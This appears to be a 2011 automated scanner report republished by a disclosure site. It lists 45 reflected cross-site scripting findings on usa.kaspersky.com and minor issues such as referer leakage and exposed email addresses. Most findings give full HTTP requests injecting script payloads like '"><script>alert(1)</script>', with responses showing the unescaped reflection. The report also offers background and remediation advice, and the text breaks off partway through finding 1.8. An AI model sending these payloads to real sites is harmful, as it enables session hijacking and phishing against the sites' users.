XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, REST URL Parameter Injection, usa.kapersky.com

Comment: Listed on XSS.Cx since December 2010, use DORK Search

Report generated by XSS.CX at Sun Sep 04 06:29:41 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in usa.kapersky.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. http://usa.kaspersky.com/ [domain parameter]

1.2. http://usa.kaspersky.com/ [name of an arbitrarily supplied request parameter]

1.3. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 1]

1.4. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 1]

1.5. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 2]

1.6. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 2]

1.7. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 3]

1.8. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 3]

1.9. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 4]

1.10. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 4]

1.11. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 5]

1.12. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 5]

1.13. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 6]

1.14. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 6]

1.15. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 7]

1.16. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 7]

1.17. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico [REST URL parameter 4]

1.18. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico [REST URL parameter 4]

1.19. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 1]

1.20. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 1]

1.21. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 2]

1.22. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 2]

1.23. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 3]

1.24. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 3]

1.25. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 4]

1.26. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 4]

1.27. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 5]

1.28. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 5]

1.29. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 6]

1.30. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/ctools/css/4d9813e9d0c158247f09dd5a908f5979.css [REST URL parameter 6]

1.31. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf [REST URL parameter 5]

1.32. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/10-KSP-0015-PURE-homepage-banner-updated-eng.swf [REST URL parameter 5]

1.33. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf [REST URL parameter 5]

1.34. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/2012_launch_promo_frame.swf [REST URL parameter 5]

1.35. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/PURE_summer_promo_frame.swf [REST URL parameter 5]

1.36. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf [REST URL parameter 5]

1.37. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/business_launch_frame.swf [REST URL parameter 5]

1.38. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf [REST URL parameter 5]

1.39. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_2012_launch_promo_frame.swf [REST URL parameter 5]

1.40. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf [REST URL parameter 5]

1.41. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_PURE_summer_promo_frame.swf [REST URL parameter 5]

1.42. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf [REST URL parameter 5]

1.43. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_business_launch_frame.swf [REST URL parameter 5]

1.44. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf [REST URL parameter 5]

1.45. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/home-page-banners/loader_purelaunch_updated-frame.swf [REST URL parameter 5]

2. Cross-domain Referer leakage

2.1. http://usa.kaspersky.com/

2.2. http://usa.kaspersky.com/products-services/home-computer-security/pure

3. Cross-domain script include

3.1. http://usa.kaspersky.com/

3.2. http://usa.kaspersky.com/node/17007

3.3. http://usa.kaspersky.com/products-services/home-computer-security/internet-security

3.4. http://usa.kaspersky.com/products-services/home-computer-security/mobile-security

3.5. http://usa.kaspersky.com/products-services/home-computer-security/pure

3.6. http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus

3.7. http://usa.kaspersky.com/search/apachesolr_search/xss

3.8. http://usa.kaspersky.com/store/kaspersky-store

4. Email addresses disclosed

4.1. http://usa.kaspersky.com/

4.2. http://usa.kaspersky.com/node/17007

4.3. http://usa.kaspersky.com/products-services/home-computer-security/internet-security

4.4. http://usa.kaspersky.com/products-services/home-computer-security/mobile-security

4.5. http://usa.kaspersky.com/products-services/home-computer-security/pure

4.6. http://usa.kaspersky.com/search/apachesolr_search/far%20help%20virus

4.7. http://usa.kaspersky.com/search/apachesolr_search/xss

4.8. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_30f49f3054e7146ae0b18ae409f59641.js

4.9. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_46af8f68c2630fc751ed0418c2209a90.js

4.10. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_5a9a5376d71ae1646a25b8ca6f6918ac.js

4.11. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_6e74c2e98f0fbe5a3612ed82de36fc7c.js

4.12. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_a4d3545defa8bc26011651e729544348.js

4.13. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_d4f653caa3cf2cb11ec0b051827bac22.js

4.14. http://usa.kaspersky.com/store/kaspersky-store

5. Robots.txt file

6. Content type incorrectly stated

6.1. http://usa.kaspersky.com/favicon.ico

6.2. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico



1. Cross-site scripting (reflected)  next
There are 45 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://usa.kaspersky.com/ [domain parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The value of the domain request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a54d2"><script>alert(1)</script>6a31e0ff9e9 was submitted in the domain parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?domain=kapersky.coma54d2"><script>alert(1)</script>6a31e0ff9e9 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:18:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138695"
Content-Type: text/html; charset=utf-8
Content-Length: 49581
Date: Sun, 04 Sep 2011 12:18:20 GMT
X-Varnish: 1163043182
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/?domain=kapersky.coma54d2"><script>alert(1)</script>6a31e0ff9e9" />
...[SNIP]...

1.2. http://usa.kaspersky.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6626"><script>alert(1)</script>ccf8d1d548d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?domain=kapersky.com&d6626"><script>alert(1)</script>ccf8d1d548d=1 HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:18:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138728"
Content-Type: text/html; charset=utf-8
Content-Length: 49591
Date: Sun, 04 Sep 2011 12:18:53 GMT
X-Varnish: 1163044152
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/?domain=kapersky.com&d6626"><script>alert(1)</script>ccf8d1d548d=1" />
...[SNIP]...

1.3. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45325"><script>alert(1)</script>c89d0f96b80 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites45325"><script>alert(1)</script>c89d0f96b80/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138816"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:20:18 GMT
X-Varnish: 1163046389
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites45325"><script>alert(1)</script>c89d0f96b80/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.4. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50a3f"-alert(1)-"80bc3e9188a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites50a3f"-alert(1)-"80bc3e9188a/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138823"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:20:24 GMT
X-Varnish: 1163046534
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
'yes') { s.prop4 = " Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites50a3f"-alert(1)-"80bc3e9188a/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! ***********
...[SNIP]...

1.5. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42cc5"-alert(1)-"19bcc8754ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all42cc5"-alert(1)-"19bcc8754ee/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138859"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:21:01 GMT
X-Varnish: 1163047466
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
') { s.prop4 = " Thank You"; }
s.pageName = s.prop4;
s.eVar44 = s.pageName;
s.hier1 = s.pageName;
s.channel = s.prop1;
s.server=location.hostname;
s.pageName="404:http://usa.kaspersky.com/sites/all42cc5"-alert(1)-"19bcc8754ee/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R";

/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
...[SNIP]...

1.6. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e94c"><script>alert(1)</script>8ee69f6e42a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all8e94c"><script>alert(1)</script>8ee69f6e42a/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:20:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138851"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:20:54 GMT
X-Varnish: 1163047201
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all8e94c"><script>alert(1)</script>8ee69f6e42a/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.7. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ecf9"><script>alert(1)</script>35fe4c3edad was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes2ecf9"><script>alert(1)</script>35fe4c3edad/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138882"
Content-Type: text/html; charset=utf-8
Content-Length: 31430
Date: Sun, 04 Sep 2011 12:21:24 GMT
X-Varnish: 1163048293
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<link rel="canonical" href="http://usa.kaspersky.com/sites/all/themes2ecf9"><script>alert(1)</script>35fe4c3edad/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R" />
...[SNIP]...

1.8. http://usa.kaspersky.com/sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/all/themes/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84fcc"-alert(1)-"e3f22eec311 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/themes84fcc"-alert(1)-"e3f22eec311/zen/kaspersky_usatheme/custom/modules/views_slideshow_ddblock/latam-home/views-slideshow-ddblock-cycle-latam-home.css?R HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: Apache
Cache-Control: public, max-age=21600
Last-Modified: Sun, 04 Sep 2011 12:21:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1315138891"
Content-Type: text/html; charset=utf-8
Content-Length: 31333
Date: Sun, 04 Sep 2011 12:21:35 GMT
X-Varnish: 1163048557
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
prop4 = " Thank You"; }
s.pageName = s.prop4;
